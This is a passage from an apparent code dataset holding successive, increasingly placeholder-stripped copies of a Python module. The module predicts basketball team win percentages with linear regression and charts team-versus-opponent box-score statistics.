5):]\n y_test = y1[:int(len(y1) / 5)]\n regressor = LinearRegression()\n regressor.fit(X_train, y_train)\n coeff_df = pd.DataFrame(regressor.coef_, X1.columns, columns=[\n 'Coefficient'])\n y_pred = regressor.predict(X_test)\n y_pred_round = np.around(regressor.predict(X_test))\n return regressor, pd.DataFrame({'Actual': y_test, 'Predicted (int)':\n y_pred_round, 'Predicted (float)': y_pred})\n\n\ndef calculate_win_percentage(team, stat1, stat2, stat3, stat4, regressor, data\n ):\n \"\"\" Calculates the win percentage for a team and the 4 selected stat values \"\"\"\n temp = getAllTeamMatchRecords(team, data)\n changed_stat1 = overallFeatures(temp)[0]\n changed_stat2 = overallFeatures(temp)[1]\n changed_stat3 = overallFeatures(temp)[2]\n changed_stat4 = overallFeatures(temp)[3]\n average_team_stats = avgDataRow(filterRowsFS(temp))\n dfWin = temp['win']\n dfFinal = pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(regressor.predict(average_team_stats)), 'Predicted (float)':\n regressor.predict(average_team_stats)})\n origWinPct = dfFinal.at[0, 'Predicted (float)']\n average_team_stats.at[0, changed_stat1] = stat1\n average_team_stats.at[0, changed_stat2] = stat2\n average_team_stats.at[0, changed_stat3] = stat3\n average_team_stats.at[0, changed_stat4] = stat4\n win_percentage = updateWinPct(average_team_stats, dfWin, regressor).at[\n 0, 'Predicted (float)']\n if win_percentage > 1:\n win_percentage = 1\n elif win_percentage < 0:\n win_percentage = 0\n win_percentage = win_percentage * 100\n win_percentage = round(win_percentage, 2)\n win_percentage_text = 'Projected Win Percentage: ' + str(win_percentage\n ) + '%'\n return win_percentage_text\n\n\ndef get_default_slider_values(team, data):\n \"\"\" Gets the values the each of the 4 sliders should display. These values are what the model estimates the team will get in the matchup \"\"\"\n numSliders = 4\n stat_column_names = []\n stat_column_values = []\n estimated_stat_values = avgDataRow(filterRowsFS(getAllTeamMatchRecords(\n team, data)))\n for i in range(numSliders):\n stat_column_names.append(overallFeatures(getAllTeamMatchRecords(\n team, data))[i])\n stat_column_values.append(estimated_stat_values.at[0,\n stat_column_names[i]])\n return stat_column_names, stat_column_values\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\ndef generate_bar_chart(team, opponent, stats, stat_names, data):\n \"\"\" Generates a bar chart for a the user selected team, opponent and stats \"\"\"\n teamStats = getStatsByYear(team, 2019, data)\n opponentStats = getStatsByYear(opponent, 2019, data)\n teamStatValues = teamStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n opponentStatValues = opponentStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n stats_to_be_graphed = []\n for i in range(len(stat_names)):\n if i in stats:\n stats_to_be_graphed.append(stat_names[i])\n teamVals = go.Bar(x=stats_to_be_graphed, y=teamStatValues.mean(), name=\n data[data.team_id == team]['market'].iloc[0])\n opponentVals = go.Bar(x=stats_to_be_graphed, y=opponentStatValues.mean(\n ), name=data[data.team_id == opponent]['market'].iloc[0])\n data = [teamVals, opponentVals]\n layout = go.Layout(barmode='group')\n fig = go.Figure(data=data, layout=layout)\n return fig\n\n\ndef getAllTeamMatchRecords(teamID, df):\n \"\"\" Returns all game records for a given teamID \"\"\"\n return df[df['team_id'] == teamID]\n\n\ndef select_features(X_train, y_train, X_test):\n \"\"\" Selects features \"\"\"\n fs = SelectKBest(score_func=f_regression, k='all')\n fs.fit(X_train, y_train)\n X_train_fs = fs.transform(X_train)\n X_test_fs = fs.transform(X_test)\n return X_train_fs, X_test_fs, fs\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n\n\ndef learn(dataset):\n \"\"\" Trains the model \"\"\"\n dataset = pd.read_csv('team_boxscores_v3.csv')\n dataset = dataset.fillna(0)\n dataset = dataset.sample(frac=1)\n X1 = dataset[['assists', 'blocks', 'defensive_rebounds', 'opponent_drb',\n 'fast_break_pts', 'points_in_paint', 'points_off_turnovers',\n 'rebounds', 'steals', 'turnovers', 'efg', 'tov_pct', 'orb_pct', 'ftr']]\n y1 = dataset['win']\n X_train = X1[int(len(X1) / 5):]\n X_test = X1[:int(len(X1) / 5)]\n y_train = y1[int(len(y1) / 5):]\n y_test = y1[:int(len(y1) / 5)]\n regressor = LinearRegression()\n regressor.fit(X_train, y_train)\n coeff_df = pd.DataFrame(regressor.coef_, X1.columns, columns=[\n 'Coefficient'])\n y_pred = regressor.predict(X_test)\n y_pred_round = np.around(regressor.predict(X_test))\n return regressor, pd.DataFrame({'Actual': y_test, 'Predicted (int)':\n y_pred_round, 'Predicted (float)': y_pred})\n\n\ndef calculate_win_percentage(team, stat1, stat2, stat3, stat4, regressor, data\n ):\n \"\"\" Calculates the win percentage for a team and the 4 selected stat values \"\"\"\n temp = getAllTeamMatchRecords(team, data)\n changed_stat1 = overallFeatures(temp)[0]\n changed_stat2 = overallFeatures(temp)[1]\n changed_stat3 = overallFeatures(temp)[2]\n changed_stat4 = overallFeatures(temp)[3]\n average_team_stats = avgDataRow(filterRowsFS(temp))\n dfWin = temp['win']\n dfFinal = pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(regressor.predict(average_team_stats)), 'Predicted (float)':\n regressor.predict(average_team_stats)})\n origWinPct = dfFinal.at[0, 'Predicted (float)']\n average_team_stats.at[0, changed_stat1] = stat1\n average_team_stats.at[0, changed_stat2] = stat2\n average_team_stats.at[0, changed_stat3] = stat3\n average_team_stats.at[0, changed_stat4] = stat4\n win_percentage = updateWinPct(average_team_stats, dfWin, regressor).at[\n 0, 'Predicted (float)']\n if win_percentage > 1:\n win_percentage = 1\n elif win_percentage < 0:\n win_percentage = 0\n win_percentage = win_percentage * 100\n win_percentage = round(win_percentage, 2)\n win_percentage_text = 'Projected Win Percentage: ' + str(win_percentage\n ) + '%'\n return win_percentage_text\n\n\ndef get_default_slider_values(team, data):\n \"\"\" Gets the values the each of the 4 sliders should display. These values are what the model estimates the team will get in the matchup \"\"\"\n numSliders = 4\n stat_column_names = []\n stat_column_values = []\n estimated_stat_values = avgDataRow(filterRowsFS(getAllTeamMatchRecords(\n team, data)))\n for i in range(numSliders):\n stat_column_names.append(overallFeatures(getAllTeamMatchRecords(\n team, data))[i])\n stat_column_values.append(estimated_stat_values.at[0,\n stat_column_names[i]])\n return stat_column_names, stat_column_values\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\ndef generate_bar_chart(team, opponent, stats, stat_names, data):\n \"\"\" Generates a bar chart for a the user selected team, opponent and stats \"\"\"\n teamStats = getStatsByYear(team, 2019, data)\n opponentStats = getStatsByYear(opponent, 2019, data)\n teamStatValues = teamStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n opponentStatValues = opponentStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n stats_to_be_graphed = []\n for i in range(len(stat_names)):\n if i in stats:\n stats_to_be_graphed.append(stat_names[i])\n teamVals = go.Bar(x=stats_to_be_graphed, y=teamStatValues.mean(), name=\n data[data.team_id == team]['market'].iloc[0])\n opponentVals = go.Bar(x=stats_to_be_graphed, y=opponentStatValues.mean(\n ), name=data[data.team_id == opponent]['market'].iloc[0])\n data = [teamVals, opponentVals]\n layout = go.Layout(barmode='group')\n fig = go.Figure(data=data, layout=layout)\n return fig\n\n\ndef getAllTeamMatchRecords(teamID, df):\n \"\"\" Returns all game records for a given teamID \"\"\"\n return df[df['team_id'] == teamID]\n\n\ndef select_features(X_train, y_train, X_test):\n \"\"\" Selects features \"\"\"\n fs = SelectKBest(score_func=f_regression, k='all')\n fs.fit(X_train, y_train)\n X_train_fs = fs.transform(X_train)\n X_test_fs = fs.transform(X_test)\n return X_train_fs, X_test_fs, fs\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n\n\ndef learn(dataset):\n \"\"\" Trains the model \"\"\"\n dataset = pd.read_csv('team_boxscores_v3.csv')\n dataset = dataset.fillna(0)\n dataset = dataset.sample(frac=1)\n X1 = dataset[['assists', 'blocks', 'defensive_rebounds', 'opponent_drb',\n 'fast_break_pts', 'points_in_paint', 'points_off_turnovers',\n 'rebounds', 'steals', 'turnovers', 'efg', 'tov_pct', 'orb_pct', 'ftr']]\n y1 = dataset['win']\n X_train = X1[int(len(X1) / 5):]\n X_test = X1[:int(len(X1) / 5)]\n y_train = y1[int(len(y1) / 5):]\n y_test = y1[:int(len(y1) / 5)]\n regressor = LinearRegression()\n regressor.fit(X_train, y_train)\n coeff_df = pd.DataFrame(regressor.coef_, X1.columns, columns=[\n 'Coefficient'])\n y_pred = regressor.predict(X_test)\n y_pred_round = np.around(regressor.predict(X_test))\n return regressor, pd.DataFrame({'Actual': y_test, 'Predicted (int)':\n y_pred_round, 'Predicted (float)': y_pred})\n\n\n<function token>\n\n\ndef get_default_slider_values(team, data):\n \"\"\" Gets the values the each of the 4 sliders should display. These values are what the model estimates the team will get in the matchup \"\"\"\n numSliders = 4\n stat_column_names = []\n stat_column_values = []\n estimated_stat_values = avgDataRow(filterRowsFS(getAllTeamMatchRecords(\n team, data)))\n for i in range(numSliders):\n stat_column_names.append(overallFeatures(getAllTeamMatchRecords(\n team, data))[i])\n stat_column_values.append(estimated_stat_values.at[0,\n stat_column_names[i]])\n return stat_column_names, stat_column_values\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\ndef generate_bar_chart(team, opponent, stats, stat_names, data):\n \"\"\" Generates a bar chart for a the user selected team, opponent and stats \"\"\"\n teamStats = getStatsByYear(team, 2019, data)\n opponentStats = getStatsByYear(opponent, 2019, data)\n teamStatValues = teamStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n opponentStatValues = opponentStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n stats_to_be_graphed = []\n for i in range(len(stat_names)):\n if i in stats:\n stats_to_be_graphed.append(stat_names[i])\n teamVals = go.Bar(x=stats_to_be_graphed, y=teamStatValues.mean(), name=\n data[data.team_id == team]['market'].iloc[0])\n opponentVals = go.Bar(x=stats_to_be_graphed, y=opponentStatValues.mean(\n ), name=data[data.team_id == opponent]['market'].iloc[0])\n data = [teamVals, opponentVals]\n layout = go.Layout(barmode='group')\n fig = go.Figure(data=data, layout=layout)\n return fig\n\n\ndef getAllTeamMatchRecords(teamID, df):\n \"\"\" Returns all game records for a given teamID \"\"\"\n return df[df['team_id'] == teamID]\n\n\ndef select_features(X_train, y_train, X_test):\n \"\"\" Selects features \"\"\"\n fs = SelectKBest(score_func=f_regression, k='all')\n fs.fit(X_train, y_train)\n X_train_fs = fs.transform(X_train)\n X_test_fs = fs.transform(X_test)\n return X_train_fs, X_test_fs, fs\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef get_default_slider_values(team, data):\n \"\"\" Gets the values the each of the 4 sliders should display. These values are what the model estimates the team will get in the matchup \"\"\"\n numSliders = 4\n stat_column_names = []\n stat_column_values = []\n estimated_stat_values = avgDataRow(filterRowsFS(getAllTeamMatchRecords(\n team, data)))\n for i in range(numSliders):\n stat_column_names.append(overallFeatures(getAllTeamMatchRecords(\n team, data))[i])\n stat_column_values.append(estimated_stat_values.at[0,\n stat_column_names[i]])\n return stat_column_names, stat_column_values\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\ndef generate_bar_chart(team, opponent, stats, stat_names, data):\n \"\"\" Generates a bar chart for a the user selected team, opponent and stats \"\"\"\n teamStats = getStatsByYear(team, 2019, data)\n opponentStats = getStatsByYear(opponent, 2019, data)\n teamStatValues = teamStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n opponentStatValues = opponentStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n stats_to_be_graphed = []\n for i in range(len(stat_names)):\n if i in stats:\n stats_to_be_graphed.append(stat_names[i])\n teamVals = go.Bar(x=stats_to_be_graphed, y=teamStatValues.mean(), name=\n data[data.team_id == team]['market'].iloc[0])\n opponentVals = go.Bar(x=stats_to_be_graphed, y=opponentStatValues.mean(\n ), name=data[data.team_id == opponent]['market'].iloc[0])\n data = [teamVals, opponentVals]\n layout = go.Layout(barmode='group')\n fig = go.Figure(data=data, layout=layout)\n return fig\n\n\ndef getAllTeamMatchRecords(teamID, df):\n \"\"\" Returns all game records for a given teamID \"\"\"\n return df[df['team_id'] == teamID]\n\n\ndef select_features(X_train, y_train, X_test):\n \"\"\" Selects features \"\"\"\n fs = SelectKBest(score_func=f_regression, k='all')\n fs.fit(X_train, y_train)\n X_train_fs = fs.transform(X_train)\n X_test_fs = fs.transform(X_test)\n return X_train_fs, X_test_fs, fs\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\ndef generate_bar_chart(team, opponent, stats, stat_names, data):\n \"\"\" Generates a bar chart for a the user selected team, opponent and stats \"\"\"\n teamStats = getStatsByYear(team, 2019, data)\n opponentStats = getStatsByYear(opponent, 2019, data)\n teamStatValues = teamStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n opponentStatValues = opponentStats[['assists', 'assists_turnover_ratio',\n 'blocked_att', 'blocks', 'defensive_rebounds', 'fast_break_pts',\n 'field_goals_att', 'field_goals_pct', 'field_goals_made',\n 'free_throws_att', 'free_throws_pct', 'free_throws_made',\n 'offensive_rebounds', 'personal_fouls', 'points', 'points_against',\n 'points_in_paint', 'points_off_turnovers', 'rebounds',\n 'second_chance_pts', 'steals', 'team_rebounds', 'three_points_att',\n 'three_points_pct', 'three_points_made', 'turnovers',\n 'two_points_att', 'two_points_pct', 'two_points_made']]\n stats_to_be_graphed = []\n for i in range(len(stat_names)):\n if i in stats:\n stats_to_be_graphed.append(stat_names[i])\n teamVals = go.Bar(x=stats_to_be_graphed, y=teamStatValues.mean(), name=\n data[data.team_id == team]['market'].iloc[0])\n opponentVals = go.Bar(x=stats_to_be_graphed, y=opponentStatValues.mean(\n ), name=data[data.team_id == opponent]['market'].iloc[0])\n data = [teamVals, opponentVals]\n layout = go.Layout(barmode='group')\n fig = go.Figure(data=data, layout=layout)\n return fig\n\n\ndef getAllTeamMatchRecords(teamID, df):\n \"\"\" Returns all game records for a given teamID \"\"\"\n return df[df['team_id'] == teamID]\n\n\n<function token>\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\n<function token>\n\n\ndef getAllTeamMatchRecords(teamID, df):\n \"\"\" Returns all game records for a given teamID \"\"\"\n return df[df['team_id'] == teamID]\n\n\n<function token>\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 'Predicted (float)': dfPred})\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n", "<import token>\n\n\ndef getStatsByYear(teamID, year, data):\n \"\"\" Returns the stats for a chosen team for a specific year. Choices are 2016 - 2019 \"\"\"\n teamStats = data[data['team_id'] == teamID]\n for index, row in teamStats.iterrows():\n if row['season'] == year:\n teamStatsForGivenYear = teamStats[data['season'] == row['season']]\n return teamStatsForGivenYear\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef overallFeatures(df):\n \"\"\" Return list of top four features \"\"\"\n datasetForFS = df\n datasetForFS.fillna(0)\n X1 = datasetForFS[['assists', 'blocks', 'defensive_rebounds',\n 'opponent_drb', 'fast_break_pts', 'points_in_paint',\n 'points_off_turnovers', 'rebounds', 'steals', 'turnovers', 'efg',\n 'tov_pct', 'orb_pct', 'ftr']]\n y1 = datasetForFS['win']\n X_train, X_test, y_train, y_test = train_test_split(X1, y1, test_size=\n 0.2, random_state=0)\n X_train_fs, X_test_fs, fs = select_features(X_train, y_train, X_test)\n colList = X1.columns.values.tolist()\n statScoreDF = pd.DataFrame(data={'Stat': pd.Series(colList), 'Score':\n pd.Series(fs.scores_.tolist())})\n statScoreDF = statScoreDF.sort_values(by=['Score'], ascending=False)\n return statScoreDF.head(n=4)['Stat'].tolist()\n\n\ndef avgDataRow(df):\n \"\"\" Returns the average values of a dataFrame \"\"\"\n df1 = dict()\n for columnName, columnData in df.iteritems():\n df1[columnName] = [df[columnName].mean()]\n return pd.DataFrame(df1)\n\n\ndef updateWinPct(dfMain, dfWin, reg):\n \"\"\" Return new win percentage \"\"\"\n dfPred = reg.predict(dfMain)\n return pd.DataFrame({'Actual': dfWin.mean(), 'Predicted (int)': np.\n around(dfPred), 